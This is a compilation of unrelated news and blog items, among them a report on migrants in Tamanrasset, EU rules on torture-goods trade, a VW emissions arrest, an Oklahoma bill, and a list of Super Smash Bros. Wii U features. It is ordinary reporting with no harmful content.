-Johnson Varny is back after four months away, spent somewhere in the no man's land between Mali and Algeria. He'd been caught by the police here, who loaded him and 80 others onto the back of a truck, carting them back to Tin Sawatin. They spent two days and 700 miserable kilometers (400 miles) traveling southwest through nothing but sand and rocks. When they reached their destination -- a small collection of tin huts -- the police simply unloaded their human cargo and left them to fend for themselves.  "They treated us like animals," says Varny, 32. "One loaf of bread a day and water from a trough. They would never drink that themselves."  Yet here Varny is, back in Tamanrasset, southern Algeria, in the middle of the Sahara. He's a bit gaunter, perhaps, than he was before struggling through the 700-kilometer journey back here. He started out together with another man in Tin Sawatin, but only Varny has arrived. He says he buried his friend 40 kilometers (25 miles) short of the city, after the other man died of a burst appendix. "He didn't make it," he says simply.  Few refugees know the desert city of Tamanrasset as well as Johnson Varny does. He arrived here the first time in 1995, when he was 16 and had fled war-torn Liberia three years before. He's lost count of how many times he's been here since, both willingly and unwillingly. In 2000, he says, he made it on as far as Oran, an Algerian city on the Mediterranean coast. But before he could find a boat to take him to Europe, police caught him and deported him.  A Way Station  Surrounded by nothing but sand and rocks, Tamanrasset, with its population of 100,000, has been a way station for emigrants from sub-Saharan Africa for two decades. At first a few dozen people passed through the city each year, then suddenly it was hundreds, and now tens of thousands. Are they refugees, migrant workers, immigrants? Definitions are fluid here. They stay for weeks or months, often even years.  But then they move on, because ultimately, they all have the same goal: Europe, the continent that draws them north like iron filings pulled toward a magnet. Estimates say only around 15 to 20 percent actually arrive there. But these refugees don't let anything stop them from trying, not barbed wire or border guards, not bandits or the reports of the many hundreds of people who drown each year trying to cross the sea. They want to escape the hardship back home, so they chase after the dreams that satellite TV has planted in their minds.  In these 20 years, Tamanrasset has undergone an astonishing degree of development. There are paved streets now, sidewalks and electricity, entire new neighborhoods and even a university. These things were built with revenue from oil and smuggling, but also with the labor and the millions in cash left here by the city's short-term guests.  Where Undocumented Immigrants Live  The last residential neighborhoods at the western edge of the city give way directly to the desert. Another kilometer further out, slightly uphill from the city, is where the undocumented immigrants live. They have a few blankets, which get rolled up and stored under rocks during the day. There's some firewood and a couple of cooking pots, water bottles and a great deal of garbage. Other than that, they have no possessions beyond their own miserable living conditions.  No governments or aid organizations provide help. Algeria doesn't want to support migrant workers. A few good-hearted nuns occasionally bring blankets, an Italian organization donates money for medications and two or three doctors at the hospital will treat patients for free. There's no aid beyond that.  Varny coughs. He has tuberculosis and needs medication to treat it, but how is he supposed to pay for that? He, too, is living out here by the rocks. His entire group sleeps out here. In the mornings, they slip into the city, where they carry stones, paint walls or bake bricks. Or they simply wait. Even when they find work, it doesn't always go well. "You work for an Arab, for days, for weeks, and in the end, instead of giving you the money, he calls the police," Varny says.  Unstoppable Onslaught  Once they've saved enough money for their onward journey, these refugees could choose to board a bus for a comfortable ride to Algiers. Instead, armed with a bit of bread, a few cans of food and a water canister, they climb aboard a truck in the back courtyard of a building, setting out at night to avoid patrols. Once outside the city limits, the driver leaves the paved road and trundles northward on dirt tracks.  The journey to Morocco costs €4,000 ($5,000), Varny says, or €6,000 including the crossing to Spain, and Nigerians have a firm hold on this line of business. Women have it easier, he says, though there's the not insignificant drawback that they have to work off their debts in Spanish brothels.  Hundreds of thousands of people come northward hoping to scale the battlements of Europe, the old continent that's intent on building its walls ever higher, even considering using drones, offshore sensors and satellite-driven search systems to fend off this onslaught. The EU plans to spend up to €2 billion on new security systems at its external borders.  But that won't stop the immigrants, who start their journeys on the Ghanaian coast, in the villages of Côte d'Ivoire or in capital cities such as Kinshasa. In many cases, an entire family pools its resources, or even an entire village. Often it's the first-born in a family who sets out, sensing an inner obligation to seek out adventure. More than anything, though, they want to escape the miserable conditions they're leaving behind.
-Today, the European Union has taken an important step towards the further strengthening of the trade rules applicable to goods that could be used for capital punishment or torture.  On the proposal of the European Commission, the European Parliament has today approved newrestrictions on certain services and revised rules on goods that could be used to apply the death penalty.  "Today's vote in the European Parliament underscores the importance the European Union attaches to respect for fundamental rights. As the European Union, we promote the global abolition of the death penalty with all the means, tools and instruments that are available to us", said the High Representative for Foreign Affairs and Security Policy/Vice-President of the European Commission, Federica Mogherini. "The eradication of torture as well as the abolition of the death penalty requires political will and a joint effort of parliaments and civil society across the world. Today we are demonstrating that our European Union has always been and will remain at the frontline of this work", she added.  "We can never accept loopholes that allow instruments of death and torture to be traded or promoted", said EU Commissioner for Trade, Cecilia Malmström, adding: "From lethal drug injection systems to electric chairs or spiked batons, such terrible devices have no place in our societies. In addition to prohibiting sales and exports, we are now banning the promotion of these goods at fairs and exhibitions, and introducing a fast-track mechanism to make sure that new products of this kind can be banned quickly. It's imperative that we can keep up with new developments."  The European Union adopted a Regulation to ban trade in certain goods which can only be used for capital punishment or torture and to impose export controls on goods that could be used to these ends already in 2005. In January 2014, the European Commission made a proposal to amend this legislation to further strengthen these rules. Following discussions both with and within the Council and the European Parliament, an agreement was reached within a trilogue. Following today's vote in the Parliament, the changes should now be approved by the Council and then the text amending the original Regulation (1236/2005) will be published in the Official Journal of the EU and become Union law.  Background  Respect for human rights is one of the core values of the European Union. It is also an essential element of the Union's relations with third countries, including in trade. The Union's Charter of Fundamental Rights prohibits capital punishment, torture and inhuman or degrading treatment or punishment.  Regulation 1236/2005 bans the export and import of goods which can only be used to apply the death penalty or to inflict torture or other cruel, inhuman or degrading treatment and punishment. The Regulation also imposes an export authorisation requirement on goods that could be used for the purpose of torture or other ill-treatment.  The strengthened text includes a specific set of rules for the export controls applied to prevent goods from being used for capital punishment in a third country. A Union general export authorisation, an exemption that can be invoked by any exporter, is foreseen for exports to countries that, like the EU Member States, have abolished the death penalty for all crimes. Of course, this exemption is subject to a number of conditions which ensure that re-exports to other countries require prior approval. If the general exemption does not apply, exporters need to apply for prior authorisation, which may take the form of a global authorisation or an individual authorisation.  For the time being, these export controls apply to certain anaesthetics. A specific procedure empowers the European Commission to list additional goods that have been approved, or actually used, for capital punishment by one or more third countries. As usual scrutiny by the European Parliament and the Council of the EU is foreseen, but in urgent cases the amendment can enter into force when the scrutiny phase begins.  As regards the supply of certain services, the Regulation bans, in relation to goods whose export and import is prohibited, the supply of brokering services, technical assistance and training on their use. The presentation of such goods in international trade fairs in the EU, and the international supply and purchase of advertising space or time are also prohibited.  If the export of goods requires an authorisation but is not prohibited, the supply of brokering services and technical assistance in relation to the relevant goods also requires an authorisation. In some cases, the general authorisation may apply to technical assistance. The definition of brokering services is the same as that used in Council Regulation (EC) °428/2009 setting up a Community regime for the control of exports, transfer, brokering and transit of dual-use goods, but the new Regulation goes further and stipulates that an authorisation for brokering services is required whenever such services are supplied to a third country.  The Regulation also prohibits transit, which is defined as transport within the Union of non-Union goods which pass on their way to a destination in a third country. If the export of the relevant goods requires an authorisation but is not prohibited, the ban on transit applies if the transporter knows that the goods are intended to be used for capital punishment, torture or other ill-treatment.  More information:  Blog post by Cecilia Malmström: Laws on exports of products used for capital punishment and torture
-Things got a little too real for a home invader in New London, CT yesterday morning.  A 15 year old suspect, armed with a gun, broke into a home occupied by two brothers just after 3am on Wednesday morning. According to Fox CT,  New London Police said in a statement they were called to 308 Crystal Ave. after residents found an armed 15-year-old in one of the bedrooms of the home just after 3 a.m. Wednesday morning… …Kevin Dennis, a Navy veteran who fought in Iraq and Afghanistan, said he immediately grabbed his gun and ran downstairs to find his brother and the 15-year-old suspect in a tussle. After pointing his gun at the suspect, Kevin Dennis told the suspect to drop the gun he was holding. The suspect complied. Then, according to Kevin Dennis, the suspect broke down in tears and asked him to call the police because he was peer pressured into breaking into the home.  One of the brothers suffered minor injuries from the struggle with the suspect. The suspect, who is not being identified due to his age, is facing numerous felony charges and is currently being held in a juvenile detention facility. Interestingly, the suspect was armed with a single action .44 mag.  According to police there was a second suspect who ran out of the house after the pair was discovered. He remains at large.  This is only the 4th defensive gun use we’ve documented in the state of Connecticut and the 1,235th defensive gun use we’ve documented overall.  This incident is the one of the most common types of defensive gun uses. That is, one in which no one was actually shot. Despite this being one of the most common types of defensive gun uses, these incidents are often not included in statistics about defensive gun uses. Many of these statistics and studies focus solely on justifiable homicides, which represent only a fraction of total defensive gun uses.
-WASHINGTON -- Clean-energy jobs make up a small part of U.S. employment, but a new federal report shows they are growing much faster than other work, even healthcare.  The nation had about 3.4 million green energy jobs in 2011, the Bureau of Labor Statistics said Tuesday in its second annual and final look at this emerging category of employment. (More on why it's the last report later.)  In all, so-called green jobs accounted for just 2.6% of all employment that year, but a comparison with 2010 data shows that these jobs grew at four times the rate of all the others combined. Green employment jumped 4.9% in 2011 from the prior year. That compares with a gain of 1.2% for all jobs and 2.7% for restaurants, 1.7% for manufacturing and 1.8% for healthcare, which is often seen as the fastest-growing sector.  Green jobs of course cut across industries. By the BLS definition, they include work that is primarily involved in the production of green goods and services -- for instance, renewable energy, pollution reduction and recycling, and natural resources conservation. The agency also counts as green those jobs that involve education and training related to environmental compliance.
-This has been the softest launch of a game I’ve ever done. I spent about $100 total on facebook post boosts, I tweeted, I blogged and I posted to the ProductionLine facebook page. Since then…thats it, I’ve been pretty much going along on word of mouth, and even then, sales have exceeded my expectations! This is really good news, because so far the development of the game has gone exactly as I had hoped, with a lot more focus on what actual players of the game want, rather than me guessing, or doing just want I want, or me trying to guess what makes the press happiest.  This has resulted in a lot of bug reports! (many thanks for that) and some really good suggestions and ideas, some of which have already made it into the game. People do seem to be surprised how quickly stuff goes in or gets improved, but frankly thats because I worked on this game for about a year in silence so there is this whole huge library of decent engine code in the background that is *done* and thus I only really have to code new features and GUI stuff now. New GUI does not take that long, and thankfully I’ve got good enough at debugging multi-threading and recursive stuff that this is not a huge bottleneck either. I’m almost disappointed nobody is having frame-rate issues, because I love optimizing :D  This is just as well as there have been a LOT of ideas and suggestions. I’ve already seen factories way bigger and more efficient than anything I have managed to create. It never occurred to me to re-use the conveyor belts in cunning roundabout-style loops with the individual processing elements happening at different junctions…until someone found a bug in it.  Users feedback has been excellent, encouraging and invaluable.  But anyway! I’m actual;y sending out a puny mailing list today with 7,500 recipients, so that should open things up a bit, especially as some are press. I don’t expect massive press coverage, but I’m not relying on it either. The game remains very much in Alpha (not even beta) so I expect a lot of people, gamers and press alike will stay in a ‘wait and see’ mode.  In the meantime, I have just set a big patch(1.04) live, and here is the fairly hefty changelist. (not bad for about 4 days work).  [version alpha 1.04]  1) The task ‘make fuel tanks’ now unlocks when researched correctly.  2) Fixed some crashes and routing bugs caused by deleting resource importer bays.  3) Pop-up details on the slot-picker now should show decimal places for times.  4) Vehicle details windows limited to one per vehicle and can now be dragged by the player.  5) Fixed minute format bug in save games.  6) Pause now works as a toggle, and all speed controls have hotkeys.  7) Escape key now closes slot picker.  8) Slot picker has less visual ‘padding’.  9) Double-click on the relevant window now loads a save game.  10) The upgrades section of a slot details dialog is now hidden if there are no upgrades available for selection.  11) Any open dialogs are now correctly closed when going to the main menu.  12) Fixed crash bug when a single stretch of uninterrupted conveyor belt was over 64 tiles long.  13) Added new efficiency dialog which shows efficiency over time and also a snapshot of current slot efficiency.  14) Fixed bug where slots could be placed ‘spilling’ over into a locked factory area.  15) Fixed bug on low resolutions where the slot upgrades window did not fit on the screen.  16) Floating numbers fade out now even when paused.  17) Improvements to ‘load-balancing’ at junctions.  18) New ‘Efficiency’ dialog currently just showing global state of all slots now and over time.  19) Slight speedup of creating the load-game dialog.  20) New vehicle pop-ups show the reason a vehicle is stuck.  21) Some conveyor belt graphics now have darker, more obvious direction arrows.  22) Fixed incorrect sizes of some delivered resources.  23) New upgrade for painting slot: ‘High pressure paint nozzles’  24) Fixed bug where components built inside the factory at ‘make’ slots did not survive a save and load.  25) Corrupt resource deliveries to roof making and similar slots fixed.  26) New graphics for the tyre-making slot and the window making slot.  Thanks for everyone pre-ordering, and I also really appreciate it when people tweet or post online about the game, its really helpful. If you don’t have the game yet, here is the order form :D
-138 SHARES Facebook Twitter Linkedin Reddit  Infinadeck, the active omnidirectional treadmill is back after it’s debut at SVVR Expo 2014. The latest prototype is on show at CES 2016 in a form that’s half the size, twice as quiet and now includes a harness to detect directional input. We took it for a spin.  Having debuted at SVVR Expo back in 2014, the Infinadeck is the brainchild of George Burger and in it’s original incarnation, was not an input device for the faint of heart. Weighing in at 1000 pounds, the monstrous yet ingenious omnidirectional treadmill used a looping belt powered by two motors which could propel a user standing atop it in the opposite direction they intended to walk. The upshot is, in theory you can walk for ever in any direction whilst on the Infinadeck and never actually travel anywhere.  Quite apart from the unit’s monumental proportions, the original version, built entirely by Burger, lacked the ability to detect user input, with manual control over the belts driving the user experience.  At CES this year, Burger is now back with new collaborators in tow, and a new version of Infinadeck, sporting some pretty major improvements. Firstly, the weight has been halved, now a comparatively lean 500 pounds. Secondly, the noise at which the treadmill operates (i.e. the sound of those motors) has also been halved. Most importantly however, it now sports a new, frame-mounted harness, which detects force applied by the user’s body, interpreting that force as input in order to drive the direction of the belts and keep them centred on the treadmill.  The latest prototype is fresh and a little raw, given the fact it had only been completed 3 days prior to being shipped to the show floor. Given that though, InfinaDeck Mark II is a surprisingly effective piece of kit.  Once strapped into the velcro harness, which secures around the waist, you hold a killswitch which, once depressed, kills any belt movement to prevent you getting into trouble. Leaning forward at different angles results in the belts moving in the opposite direction at a speed corresponding to that pressure. In other words, the further you lean, the faster the treadmill will move under your feet, at speeds of up to 4MPH.  My success with InfinaDeck was mixed, as it’s obviously not a device that mimics every day walking 1:1, there is learning curve here. That said, once I found my feet I was able to walk forwards, backwards and strafe left and right at varying speeds reasonably successfully. There is an element of trust required in yourself and the device, and the speed at which this trust develops will depend on the individual. I was pretty slow compared with our Executive Editor Ben Lang for example, whose experiences you can find below.  Ben’s Infinadeck Impressions  Having tried several other passive VR treadmills, Infinadeck provided the most natural gait. After all — the unit actually moves under foot, unlike others. This was most apparent when turning, because the friction between your foot and the ground (which allows you to turn) is actually there. That makes turning in continous wide arcs far more natural in my experience than passive VR treadmills which use low friction surfaces.  In order for Infinadeck to work correctly, it needs to know which direction you’re moving so that it can counter-act your walking acceleration. I figured this would be done with some sort of optical or initerior tracking, but the creators of Infinadeck are using a more simple system that works better than I expected; a harness hanging above the platform detects against it as you begin walking. Using the direction of the pressure as a vector for your movement, the treadmill cancels out your acceleration and keeps you centred on the platform. There’s still improvements to be made so that the system accurately understands your walking (or stopping) intent, but it’s a promising and elegantly simple approach.  I was able to get my bearings walking on Infinadeck quite quickly, and walking backwards worked just as well as forward. This was all without using a headset however, which meant I had a good sense of my surroundings (and what the treadmill was doing below me) which aided in my balance. Once I tried putting on a VR headset, walking became much more challenging. It’s not clear to me yet how much of this was due to inherent challenges of walking while wearing a headset versus things that can be improved with better software integration (like making sure the real-world walking direction and virtual walking direction are perfectly aligned).  The Infinadeck team are under no illusions their locomotion solution will find a place in the average user’s home, at least not in its current, somewhat sizeable, form. They’re looking to industrial and military commercial applications for their somewhat unique device in the coming months as they refine the version on show at CES.
-Nick Cousins  Position: Forward (Center)  Birthdate: July 20, 1993 (22)  Acquired Via: 2011 NHL Draft - Round 3, Pick 68  2014-15 Team/League: Lehigh Valley Phantoms, AHL - 22 G, 34 A in 64 GP  Nationality: Canadian (Belleville, ON)  Size: 5'10", 169  Contract Status: Signed on entry-level contract through 2016  Ranking in August 2014 25 Under 25: 12  Nick Cousins came into last season looking to bounce back from a hugely disappointing 2013-2014 campaign. Two seasons ago, Cousins scored just 29 points (11 goals, 18 assists) in 74 games, the lowest point total in his career. However, just prior to this down year he was climbing up the ranks of the Ontario Hockey League with the Sault Ste. Marie Greyhounds.  Cousins scored 32 points in his first OHL season (2009-10) before more than doubling that his next year: 29 goals, 39 assists for 68 points in 68 games. Nick also competed in the under-18 World Junior Championships for Canada and recorded four goals and four assists in seven games. He progressed along this path for the next two seasons, scoring 88 points in 65 games in the 2011-12 season and 103 points (including 76 assists) in 64 games in 2012-13.  Cousins also saw his first professional action in the 2011-12 season, just one game with the Adirondack Phantoms in which he was kept off of the scoresheet. He had a longer stint the following season, recording an assist and two penalty minutes in seven AHL games.  Nick hoped to use this experience to jumpstart his first professional season last year, but did just the opposite. As mentioned above he scored a lowly 29 points while posting a plus/minus of minus-9 in 74 games. Fortunately for both Cousins and the Flyers, he bounced back in a big way.  Cousins started off slow but led the Phantoms in scoring last season with 22 goals and 34 assists for 56 points in 64 games. From January to March he played at over a point per game pace with 14 goals and 24 assists in 29 games. Below is a video of his hat trick in the midst of this run.  This hot stretch in the 2015 calendar year led to him making his NHL debut on March 17th. He played 11 games in total with the Flyers between March and April. He didn't register a point, but was also playing limited minutes. He averaged just under nine minutes per game, and his most common linemate was Zac Rinaldo.  That brings us to this season. Cousins is expected to start the season as one of Lehigh Valley's top forwards. Cousins is blocked a bit in the organization at the center position behind Claude Giroux, Sean Couturier, Brayden Schenn and even fellow fringe-Phantom Scott Laughton. It is the last year of his entry-level contract and Cousins will have to make a huge impact if he wants to see ice time at the NHL level this season.  If Cousins can build on last season then he might be able to make an impression with the Flyers just in the Nick of time, as his contract expires at the end of this season.  How we voted for Nick Cousins:  Al Allison Andrew Charlie Collin Kelly Kevin Kurt Mary Meseret Ryan Travis 11 N/A 10 11 10 14 10 11 12 8 11 12  Who we voted for at No. 11:
-MUNICH -- Volkswagen Group's former top engineer, Wolfgang Hatz, has been arrested by German prosecutors in connection with the automaker's diesel-rigging scandal, press reports said.  Hatz was a close ally of former VW Group CEO Martin Winterkorn and, if confirmed, his arrest would make him the highest VW employee taken into custody by prosecutors, who earlier this year arrested an Audi engineer.  Hatz worked for Audi and Porsche during his career. He was VW Group's powertrains chief during the time the automaker developed and sold diesel engines manipulated to cheat tests for NOx emissions.  On Thursday, Munich prosecutors said they had arrested a second person in connection with Audi's part in VW Group' emissions scandal but did not name the suspect.  The Munich-based Sueddeutscher Zeitung, in a joint report with German television stations NDR und WDR, said the suspect was Hatz, who is being held without bail as a flight risk. The New York Times said two sources with knowledge of the arrest had confirmed the suspect was Hatz, who worked closely with current VW Group CEO Matthias Mueller while the two executives were at Porsche.  Audi said it has no knowledge of the arrest and continues to cooperate with authorities.  Audi admitted in November 2015, two months after parent VW Group's diesel emissions scandal broke, that its 3.0-liter V-6 diesel engines were fitted with an auxiliary control device deemed illegal in the United States.  Hatz was Audi's head engine developer from 2001 until 2007 when he was promoted to VW Group powertrain chief. He gave up the post in 2012 to focus on his Porsche r&d job that he added in 2011.  In March, Munich prosecutors searched offices at the carmaker's headquarters in Ingolstadt Germany, where about 44,000 workers are employed, and the premises of Jones Day, a U.S. law firm hired by VW to lead an investigation into the emissions scandal.  U.S. authorities are seeking to extradite former Audi manager Giovanni Pamio who was arrested in Germany in July in connection with the diesel investigation. Pamio remains in custody pending ongoing German investigations. He has been charged in the U.S. with conspiring to defraud U.S. regulators and consumers through software designed to cheat emissions tests in thousands of Audis.  Last month, former VW Group engineer James Liang was sentenced to 40 months in a U.S. federal prison and a $200,000 fine for his role in the scandal.  Oliver Schmidt, a former VW executive, who has pleaded guilty in federal court in Detroit in connection with the scandal will be sentenced on Dec. 6. He faces up to seven years in prison and a fine of up to $400,000 after admitting to conspiring to mislead U.S. regulators and violating clean air laws.  Reuters contributed to this report
-Well, that didn't take long. It's a matter of hours since the UK telecoms regulator Ofcom brought in new rules to protect mobile customers from mid-contract tariff increases, and already one network has ducked them by changing its T&Cs. As of today, any customer who signs up with O2 must explicitly agree that their tariff will go up each year in line with inflation, starting with a 2.7 percent increase on March 1st. By contrast, customers who had signed up before today had only been told that prices might go up with inflation. Why is this so ironic? Because, indirectly, Ofcom's involvement seems to have turned a possible price increase into a definite, contractual one, whereas the original intention was to ensure that "fixed means fixed." Anyhow, in O2's defense, it hasn't breached Ofcom's code, and other carriers may well be planning to do the exact same thing.  [Thanks, Anon]  Update: Unsurprisingly, other carriers are now making their feelings on the news public. In a statement, Three UK has announced that it'll follow the spirit of Ofcom's code, and won't push your prices up part-way through your contract.
-An Oklahoma senate panel approved a bill Monday to prevent city and county governments from outdoing state laws on employment and public accommodations.  The bill initially prevented local governments from going further than any state law. A committee substitute focused it on employment and public accommodations laws.  Senate Bill 694 author Sen. Joshua Brecheen sparred with Sen. Kay Floyd over the need to preemptively protect business owners' expression of sincerely held religious beliefs through refusing service to LGBTQ people.  "That's what some are asking for, is the ability to object to something but do it in a loving manner and it not be categorized as discrimination with the context of all that word conjures," Brecheen said.  "Does the senator recognize that's exactly the argument that was raised in the Civil Rights movement 50 years ago?" Floyd said.  "I wasn't alive during that argument," Brecheen said.  Brecheen said some small business owners want to be able to act on their religious beliefs without potentially facing a lawsuit. Floyd asked how many Oklahoma businesses have been sued.  "Tulsa is the first city that I'm aware of that has gone down this path toward public accommodations," Brecheen said. "It is already the case in five states that I've named, in Texas."  "Senator, I hate to interrupt, but I really am just concerned about what's going on in our state," Floyd said.  Sexual orientation and gender identity were added as protected classes to Tulsa's fair housing ordinance in 2015, which has not resulted in any lawsuits to date.  Brecheen's Senate bio notes he wants to promote local control. Sen. Stephanie Bice said she doesn’t see that in the bill.  "Our communities are electing council members and mayors to represent them and their needs, and so for this to be a blanket statement, I think, is concerning to me," Bice said.  Oklahomans for Equality Executive Director Toby Jenkins responded to SB694's advancement in a statement.  "Local municipal and county leaders across the state are working to create inclusive and welcoming cities and counties, because state senators and representatives refuse to make it unlawful to discriminate against lesbian, gay, bisexual, transgender and queer people," Jenkins said.  Brecheen said besides protecting religious freedom, he wants to prevent confusion caused by differences in state and local laws.  The bill passed out of the Committee on General Government 6–4.
-Nintendo detailed 54 features of its November 21-due Super Smash Bros. for Wii U during a Nintendo Direct broadcast this evening.  Catch a replay of the Direct and the list of features below.  1) Default Fighter Line-Up  More than 40 fighters to choose from right from the beginning. Additional characters are, of course, unlockable.  The move set of each fighter is the same across Wii U and 3DS.  2) Resolution  Compared to 3DS, which runs at 400×240 resolution, the Wii U version runs at 1920×1080 resolution.  3) 8-Player Smash  Wii U allows for battles between up to eight players simultaneously.  Available only on certain stages.  4) Bigger Stages  The Wii U version will have much bigger stages. The expanded “Big Battlefield” makes its debut in addition to the traditional “Battlefield” Stage.  5) Danger Zones  The “Great Cave Offensive,” based on the underground labyrinth found in Kirby games, challenges players to avoid potentially lethal danger zones—or throw their opponents into them. If a player with over 100% damage touches them, they’ll be instantly KO’d.  6) Dual-Plane Battling  Some stages includes dual-plane battling/ The “Jungle Hijinxs” stage, based on Donkey Kong Country Returns, lets players fight in the foreground and background. Blast barrels shoot players from front to back and vice-versa. Fighters will launch easier on the rear plane.  7) Number of Stages  The Wii U game offers more stages than any game in the series. The structures will be very different, as well.  8) Miiverse Stage  A Miiverse stage will post specific messages about each fighter in the background of the stage. It won’t be ready at the game’s launch.  9) Palutena’s Guidance  In “Palutena’s Temple,” Pit’s downward taunt invokes messages from Palutena.  10) Metal Face  “Gaur Plain” for the 3DS version is included. “Metal Face” will make a special appearance. You can also KO him.  11) Ridley  Samus Aran’s arch-nemesis, Ridley will appear. If a fighter attacks Ridley enough, he will join that player’s side and assist him in battle. If he consumes a certain amount of energy, he will become Mega Ridley. You can even earn a point for KOing Ridley when he’s fighting on your side.  12) Coin Battles  Coin Battles return in the Wii U version, and see players compete for coins that fall when they’re attacked.  13) Stamina Matches  This type of match is similar to a normal fighting game where you lose when your hit points are reduced to zero.  14) Special Smash  In Special Smash, you can change around the rules and create your own match just the way you like it.  15) Item Frequency  Adjust the frequency that items will appear, whether its often, rarely, or never. You can also toggle certain items on or off.  16) My Music  This function allows you to take all the songs from various stages and series and set how frequently they play during battles.  17) Menu Music  You can also use and change the basic menu music.  18) Tons of Music  There will be even more songs available in the Wii U version compared to the 3DS version. Almost all the music from the 3DS version will be included. The game includes hundreds of music tracks, songs and jingles that players can listen to and settings to customize what music plays during game play.  19) Composers  With the increase in songs comes an increase in composers.  20) CDs  One way to collect music is by finding in-game CDs. Players add songs to their library by collecting CDs that appear while smashing or after completing challenges.  21) Challenges  Complete various tasks to fill out all of the spaces. For the Wii U version, the Challenges section is all on one screen. Complete challenges to reveal additional spaces.  22) Classic  Classic mode has you fighting a series of battles until you release the final showdown. In the 3DS version, you choose your own path, but in the Wii U version, you’ll advance based on how well you survive. You’ll also have a rival and challenges to deal with. You can change the difficulty by adjusting the intensity. The more difficult, the greater the reward. Up to two players can play Classic Mode.  23) Clear Movies  When players clear Classic or All-Star modes, they’ll be treated to a brief movie featuring whichever fighter they used. Every fighter has a movie.  24) All-Star Mode  In this mode, you must take on all the fighters in the game with a limited number of healing items. In the 3DS version, you fought against each fighter in chronological order. In the Wii U version, you fight the newer fighters first. It will also support two players.  25) Event Mode  In this mode, you’ll take on set, themed battles by clearing stages and seeing the path forward. There are plenty of fun and unique themes to choose from, as well as two-player event battles with specific challenges.  26) Smash Tour  A board game-like mode exclusive to Wii U for up to four people where players use items, spin a wheel, and advance around the map. Instead of moving around pieces, you move Miis. As you advance, you’ll collect more fighters to use in battle. If your Miis arrive at the same space, you’ll be forced to face off. Defeat someone, an you can steal a fighter from their lineup. As you move, you’ll also collect power-ups like those found in the 3DS version’s Smash Run mode, which can be used in the final battle. The final battle is a stock battle made up of all the fighters you’ve collected up until that point.  27) Target Blast  This mode gives you a time bomb to launch at targets, blow them up, and earn points. In the Wii U version, the second bomb is bigger and has a more destructive explosion. It’s also heavier. The Wii U version will also have three types of stages. Your scores here will affect your Global Smash Power.  28) Multiplayer Stadium  Multiplayer is now available in the stadium. In Target Smash, up to four players can play together by taking turns. Multi-Man Smash can be played by up to four players simultaneously. And in Home Run Contest, players can play in two-player co-op or by taking turns with up to four players.  29) Special Orders  Master Hand and Crazy Hand have a set of challenges that make up the Special Orders mode. Battle by battle, you’ll try to advance depending on the order ticket you get. In Master Orders, you’ll receive rewards based on the difficulty of the order you undertake. Tickets are used separately and can only be tried once. In Crazy Orders, it costs gold or a pass just to enter. Then, within a set time limit, you’ll choose and fight battles with each becoming harder the longer you survive. When you feel you’ve had enough, you’ll face off against Crazy Hand. If you win, you keep all your rewards. In this most, higher risk equals higher profits.  30) Master Fortress  Master Core, the mysterious villain from the 3DS version, has a new form in the Wii U version known as Master Fortress. This form only appears on higher intensity levels and has players traversing a dungeon to defeat it.  31) Controllers  Players can use the following controllers to play: Wii Remote Plus, Nunchuck, GamePad, Classic Controller, Classic Controller Pro, Wii U Pro Controller, GameCube Controller, and 3DS.  32) GameCube Controller Adapter  A GameCube Controller Adapter is required to use a GameCube controller.  33) 3DS as a Controller  If you own the 3DS version, you can use your 3DS to control your fighter in the Wii U version of Super Smash Bros.  34) Connecting to 3DS  Bring your custom fighter from the 3DS version to the Wii U version by connecting them from the main menu.  35) Tons of Trophies  More trophies than ever before. In the 3DS version, there were many trophies from portable games. In the Wii U version, there are a lot of trophies from home console games.  36) Final Smash Trophies  New trophies that show the characters’ Final Smash movie. Survive All-Star mode to get your fighter’s Final Smash trophy.  37) Trophy Boxes  By collecting trophies, you’ll be able to display them in trophy boxes according to their theme.  38) Photo Studio  Arrange trophies like a diorama. Set up scenes and take just the right photo to show them off.  39) Trophy Rush  The best way to get more trophies is to play Trophy Rush. In the Wii U version, you can play with two players, either cooperatively or competitively.  40) Masterpieces  Take a peak into each characters’ previous lives by playing demos of their greatest hits, including The Legend of Zelda, EarthBound, Super Mario World, Pilot Wings, and more. If you find something you want to play fully, you can buy it in the Nintendo eShop.  41) Amiibo  Scan an Amiibo and it will join the fight as a Figure Player. Your Amiibo figures will level up and grow stronger as they fight. You can also help them grow by giving them extra equipment. You can fight against them, team up with them, or have them fight each other. Amiibo will also bring you presents from the battles they fight.  42) Internet Connection  When playing online, your connection environment is very important. The Wii LAN Adapter is recommended if you don’t have a stable Wi-Fi connection.  43) Notifications  You’l see notifications and recent topics of discussion in the main menu. You can also see a list of past notifications.  44) Friends & Tags  When battling online in “With Anyone” mode, you can team up with someone using the same Wii U. To play an online match together, select Team Smash and choose the two-player option.  45) Tourney  A post-launch mode will let you host your own Tourneys and join others’. You can set the conditions for each Tourney yourself, such as rules, items, stages, duration, and battles.  46) Tournaments  Up to 64 players can fight in a battle for survival. Replays will also be available.  47) GamePad  The GamePad screen can be used to display information, such as the amount of damage you’re taking.  48) Paint  You can use the GamePad to take in-game screenshots and then paint/draw on them. Following a future update, you’ll be able to send photos online.  49) Voice Chat  On the GamePad, there’s a microphone. Using it, you can talk with friends before an online match, but not during a match.  50) Stage Builder  The GamePad will allow you to easily design your own stages. You’ll be able to build platforms freehand, using the stylus as if you were drawing. There are five themes for custom stages and you can choose any music you like.  51) Sharing  Players will be able to share their photos, replays, Mii Fighters, and custom stages with friends online with the world.  Others  Features shared by both include Glory Battles, For Fun Battles, Battling With Friends, Conquest, Spectate, World Stats, Replays and the Replay Channel, Buttons, Sounds, Internet Options, Rules, Smash Battles, Team Smash, Training, Trophy Shop, Albums, Sound Test, Fighter Records, Stats, Milestones, Tips, and more.  52) Movies  In the Wii U version, all the “Joins the Battle” movies for the new fighters are included.  53) Sound Test  Anyone who buys both the 3DS and Wii U versions and registers with Club Nintendo will get a special two-disc soundtrack CD. The Red CD includes music from the 3DS game, and the Blue CD includes music from the Wii U game.  54) Mewtwo is on the Way  This special bonus fighter will be available as a free download in spring 2015 to those who purchased both the 3DS and Wii U versions of the game.
